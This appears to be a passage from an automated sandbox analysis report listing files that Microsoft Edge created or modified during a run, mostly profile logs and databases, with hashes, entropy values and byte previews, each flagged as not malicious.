Preview:	2024/10/30-10:59:29.691 1698 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-10:59:29.837 1698 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222884181675576
Encrypted:	false
SSDEEP:	24576:IbPMZpVAfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVAfx2mjF
MD5:	2BF5F68B9C66A55163CF54174A74635B
SHA1:	1E240D47AC207D70EC286602EA571B0F12680ADA
SHA-256:	C084161E66D43F0BFB06FD76DFBD2C16FACEE590D67381E62ADA48C8A2BF47DC
SHA-512:	AB612DED61B21C9174E2C8F605DFF5F539D7C3D96C6C3A10D4FB9B3CAB73FFDC623C33B794113BA7842F17F836A9F73454FF97AE31EF2928CF840DDEDE12FF03
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.13752368730262
Encrypted:	false
SSDEEP:	6:6k/CQL+q2PN723oH+Tcwt9Eh1tIFUt8vk/CXKWZmw+vk/WLVkwON723oH+Tcwt9O:6kFL+vVaYeb9Eh16FUt8vkBW/+vkOLVW
MD5:	796149B2267CB6899117B17551323815
SHA1:	DAC9069753EB5B1CF5F9DBAD3CDAFAE73791C5BF
SHA-256:	168FF094CF186C1346C1534E3ADA85EF82DD6A7B165E9E59C00C8443EE4AD834
SHA-512:	E2474C8A90711B31AD12CBBE076248BE74233803DC8209C90BF16FDD2310134B293EB60E651B0400537DE765931C8858F189D72B451FBD0D86E6A7939583342B
Malicious:	false
Preview:	2024/10/30-10:59:29.267 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-10:59:29.268 1ccc Recovering log #3.2024/10/30-10:59:29.275 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.13752368730262
Encrypted:	false
SSDEEP:	6:6k/CQL+q2PN723oH+Tcwt9Eh1tIFUt8vk/CXKWZmw+vk/WLVkwON723oH+Tcwt9O:6kFL+vVaYeb9Eh16FUt8vkBW/+vkOLVW
MD5:	796149B2267CB6899117B17551323815
SHA1:	DAC9069753EB5B1CF5F9DBAD3CDAFAE73791C5BF
SHA-256:	168FF094CF186C1346C1534E3ADA85EF82DD6A7B165E9E59C00C8443EE4AD834
SHA-512:	E2474C8A90711B31AD12CBBE076248BE74233803DC8209C90BF16FDD2310134B293EB60E651B0400537DE765931C8858F189D72B451FBD0D86E6A7939583342B
Malicious:	false
Preview:	2024/10/30-10:59:29.267 1ccc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-10:59:29.268 1ccc Recovering log #3.2024/10/30-10:59:29.275 1ccc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4623677978715244
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBubb6P/g:TouQq3qh7z3bY2LNW9WMcUvBubb6Hg
MD5:	1F60B468ED1B985F6F683EA1E91FC51B
SHA1:	64D6B28BAA5D8D76EB9086EFD3E714AD53D7F143
SHA-256:	5545C2CE6841010E65DD8A492744297E684CF9EBB52F04CF8EC8FC11A0BDE9A9
SHA-512:	70259B17DDA896A4647A8679D525A02BA8A0EEB042B06249FC785CB190DCB1617B1D028C44402CDC87F4D75578CF90285A843331244FF31A8492B7F3B7270414
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.180021518865076
Encrypted:	false
SSDEEP:	6:6k/jlyq2PN723oH+TcwtnG2tMsIFUt8vk/jz1Zmw+vk/jlRkwON723oH+TcwtnGg:6kByvVaYebn9GFUt8vkl/+vkBR5OaYeV
MD5:	38EE537E78EFC93E8825CE38B2F3F836
SHA1:	6845A4AB336CF63EB533B35198C7B9AC667D552F
SHA-256:	E0F05164557E21BAB6A0D6C2A39641A73AE1502CCE63161ED02FA4BB8C7A5F66
SHA-512:	446DF1C4E039DF1717065C5EA1575B9A72650F79054A687D82D960D035731ABDB153E6990D9FFA8B7C47F8641512B580D8B00A463E0F832C606A412B5768DB26
Malicious:	false
Preview:	2024/10/30-10:59:23.169 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-10:59:23.169 1e34 Recovering log #3.2024/10/30-10:59:23.169 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.180021518865076
Encrypted:	false
SSDEEP:	6:6k/jlyq2PN723oH+TcwtnG2tMsIFUt8vk/jz1Zmw+vk/jlRkwON723oH+TcwtnGg:6kByvVaYebn9GFUt8vkl/+vkBR5OaYeV
MD5:	38EE537E78EFC93E8825CE38B2F3F836
SHA1:	6845A4AB336CF63EB533B35198C7B9AC667D552F
SHA-256:	E0F05164557E21BAB6A0D6C2A39641A73AE1502CCE63161ED02FA4BB8C7A5F66
SHA-512:	446DF1C4E039DF1717065C5EA1575B9A72650F79054A687D82D960D035731ABDB153E6990D9FFA8B7C47F8641512B580D8B00A463E0F832C606A412B5768DB26
Malicious:	false
Preview:	2024/10/30-10:59:23.169 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-10:59:23.169 1e34 Recovering log #3.2024/10/30-10:59:23.169 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612845479285993
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j8F0IpzFrmL:TO8D4jJ/6Up+P
MD5:	0B33C44634FE77BD7E57AD3812C0C02E
SHA1:	1B07A65216B129623298BA24F9B9A45A53F33FEF
SHA-256:	1A57D4969D8D951031FB721F0A86F5365A2FAC96B16FD43B9C8A4026F6CB2468
SHA-512:	48A2B090D8E6D3DF756B1CFA8F399EFBDE7856C983AD24C091AE98E0BBB87FF5C68694DA323CFA4B8DDA3962E4F84E242BEA656B5A5FFD0E4F0C412A43F9A463
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	409
Entropy (8bit):	5.736731137626478
Encrypted:	false
SSDEEP:	6:iptASrPgS9DjIM0j89PRTwXrDVB8WN8fRUm/YHqSIyoBSN7WnUxNSQYHJSe:TSrPNz0wFpwvwvem/qVIRB6SUxNaHJ
MD5:	9BA18DEBDB5278311891F87685665D39
SHA1:	2B57F3DB0C81474F8EC0D84B2AFE726846D2A268
SHA-256:	0BB340B9655F7A4B93A63A6C147B9F14C7F6FBE6B0809FD1E754B48340A46745
SHA-512:	442D71A30E0B1BF78FFF9A592CDB4D2D7263DD014101AE30BC6CC20C18335FA0CE061AC1CB210FC935BC7A7DD42DC7A8014B6998C0E5375C82210916D45490DA
Malicious:	false
Preview:	...m.................DB_VERSION.1..\|.q...............&QUERY_TIMESTAMP:domains_config_gz2...13374773971481218..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.149196565026502
Encrypted:	false
SSDEEP:	6:6k/92+RM1N723oH+Tcwtk2WwnvB2KLlgk/l3Vq2PN723oH+Tcwtk2WwnvIFUv:6kV2usaYebkxwnvFLCk93VvVaYebkxwp
MD5:	A74DEA7180B05CC139EE726ECBA192BF
SHA1:	CBBD59360E5C704D0D759A00A5A0C6C55323D388
SHA-256:	06644988B29480EF45181C7B55C7523282283C019702743BF93DF0F7B6ADDCD6
SHA-512:	DDE64CF81BB88CC83BAA4DAC2406B4D047F96CFE8DAEF515639C1BEB1C5755E71B7D393772F6903E8E02C4C6BD1AEFA21EA1660D66323CE644A64DB7A4043BDA
Malicious:	false
Preview:	2024/10/30-10:59:29.711 8e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-10:59:29.850 8e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.120729562061113
Encrypted:	false
SSDEEP:	6:6k/2e3+q2PN723oH+Tcwt8aPrqIFUt8vk/eEWZmw+vk/ezVkwON723oH+Tcwt8a4:6kJ+vVaYebL3FUt8vkWEW/+vkWzV5OaE
MD5:	351D280B90D9426EB7A1899519BFC4A8
SHA1:	67E8EEC69E5A2CBD0C598F98BF322640B374DB31
SHA-256:	C946C3E06B90B99EFF3E13FD558DA147E033552911BDA6DAA9918AB02DED3891
SHA-512:	8E4BECBE720561ACE708031E371BC0429711FDC8D4D3A35124DA0E53D73F21600AEBEA7AFA14599187AC15B929F7AEBD40FE291E7095F980C9B871653A72CDD4
Malicious:	false
Preview:	2024/10/30-10:59:23.194 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-10:59:23.195 1dec Recovering log #3.2024/10/30-10:59:23.195 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.120729562061113
Encrypted:	false
SSDEEP:	6:6k/2e3+q2PN723oH+Tcwt8aPrqIFUt8vk/eEWZmw+vk/ezVkwON723oH+Tcwt8a4:6kJ+vVaYebL3FUt8vkWEW/+vkWzV5OaE
MD5:	351D280B90D9426EB7A1899519BFC4A8
SHA1:	67E8EEC69E5A2CBD0C598F98BF322640B374DB31
SHA-256:	C946C3E06B90B99EFF3E13FD558DA147E033552911BDA6DAA9918AB02DED3891
SHA-512:	8E4BECBE720561ACE708031E371BC0429711FDC8D4D3A35124DA0E53D73F21600AEBEA7AFA14599187AC15B929F7AEBD40FE291E7095F980C9B871653A72CDD4
Malicious:	false
Preview:	2024/10/30-10:59:23.194 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-10:59:23.195 1dec Recovering log #3.2024/10/30-10:59:23.195 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.135244876499122
Encrypted:	false
SSDEEP:	6:6k/z+q2PN723oH+Tcwt865IFUt8vk/EWZmw+vk/DOzVkwON723oH+Tcwt86+ULJ:6kr+vVaYeb/WFUt8vksW/+vkCzV5OaY4
MD5:	FD76D999E05AB3A0C1DE7DBB3F210B74
SHA1:	ECCB3F194768CEE1ABF9BB7C4C9CF09035584ACC
SHA-256:	F81BD85988E6F70414930B625C8C4F5D77F5B935A2DCA13E76A819EE240A2193
SHA-512:	F15349D87748CAAE0F207ED78325751F2D0035B7B7A442EC4AEAD27773C56B1624E45FC9EDB37DC03DD70BF61E7AA4423B7FA87CC5A6D1827DD35416C64B96AB
Malicious:	false
Preview:	2024/10/30-10:59:23.255 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-10:59:23.255 1dec Recovering log #3.2024/10/30-10:59:23.256 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.135244876499122
Encrypted:	false
SSDEEP:	6:6k/z+q2PN723oH+Tcwt865IFUt8vk/EWZmw+vk/DOzVkwON723oH+Tcwt86+ULJ:6kr+vVaYeb/WFUt8vksW/+vkCzV5OaY4
MD5:	FD76D999E05AB3A0C1DE7DBB3F210B74
SHA1:	ECCB3F194768CEE1ABF9BB7C4C9CF09035584ACC
SHA-256:	F81BD85988E6F70414930B625C8C4F5D77F5B935A2DCA13E76A819EE240A2193
SHA-512:	F15349D87748CAAE0F207ED78325751F2D0035B7B7A442EC4AEAD27773C56B1624E45FC9EDB37DC03DD70BF61E7AA4423B7FA87CC5A6D1827DD35416C64B96AB
Malicious:	false
Preview:	2024/10/30-10:59:23.255 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-10:59:23.255 1dec Recovering log #3.2024/10/30-10:59:23.256 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1484806103457394
Encrypted:	false
SSDEEP:	6:6k/txgyq2PN723oH+Tcwt8NIFUt8vk/t531Zmw+vk/t5hRkwON723oH+Tcwt8+ed:6k1xgyvVaYebpFUt8vk1P/+vk1rR5OaO
MD5:	83AFCE0B8AAE24A223F9364ED67EEB16
SHA1:	FB069DC332101E789F9E879BB5EC8B1F6316785E
SHA-256:	F02622B052EAD6AD14D89A0429E81BA91C8B945B3844FFBD71C30575ACF37315
SHA-512:	C5EECE6324AF1E0449CB41F36E2E8316C69F1AA8D8DE84BBB70525C181B5791C30FAFA652972D17FCF3502E301BF7A4E5D77B94E92EF5EE2DBA1188E9FDD72C7
Malicious:	false
Preview:	2024/10/30-10:59:24.397 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-10:59:24.398 1de4 Recovering log #3.2024/10/30-10:59:24.398 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1484806103457394
Encrypted:	false
SSDEEP:	6:6k/txgyq2PN723oH+Tcwt8NIFUt8vk/t531Zmw+vk/t5hRkwON723oH+Tcwt8+ed:6k1xgyvVaYebpFUt8vk1P/+vk1rR5OaO
MD5:	83AFCE0B8AAE24A223F9364ED67EEB16
SHA1:	FB069DC332101E789F9E879BB5EC8B1F6316785E
SHA-256:	F02622B052EAD6AD14D89A0429E81BA91C8B945B3844FFBD71C30575ACF37315
SHA-512:	C5EECE6324AF1E0449CB41F36E2E8316C69F1AA8D8DE84BBB70525C181B5791C30FAFA652972D17FCF3502E301BF7A4E5D77B94E92EF5EE2DBA1188E9FDD72C7
Malicious:	false
Preview:	2024/10/30-10:59:24.397 1de4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-10:59:24.398 1de4 Recovering log #3.2024/10/30-10:59:24.398 1de4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:Yj9tFlljq7A/mhWJFuQ3yy7IOWUYSgwtdweytllrE9SFcTp4AGbNCV9RUISg:aG75fO6SgQd0Xi99pEYV
MD5:	A1D71F31C860F3F72EE4B66C914B89B8
SHA1:	AF4DD815300698A7276A146FD2C01D43392A3F01
SHA-256:	F20EB34A6659B9BCEAD0B6046320D2C28A064D0FD8EBBE452E17A77BDA5A588A
SHA-512:	71F1BA637BF63295D5976C0458EEF39A1998CD712EEC2A52B85C6BB3AA33585EB701BF464E69B6B00F1F0BEC9D0D7125520C44906AB56B4C781BCA5FD1B5926E
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
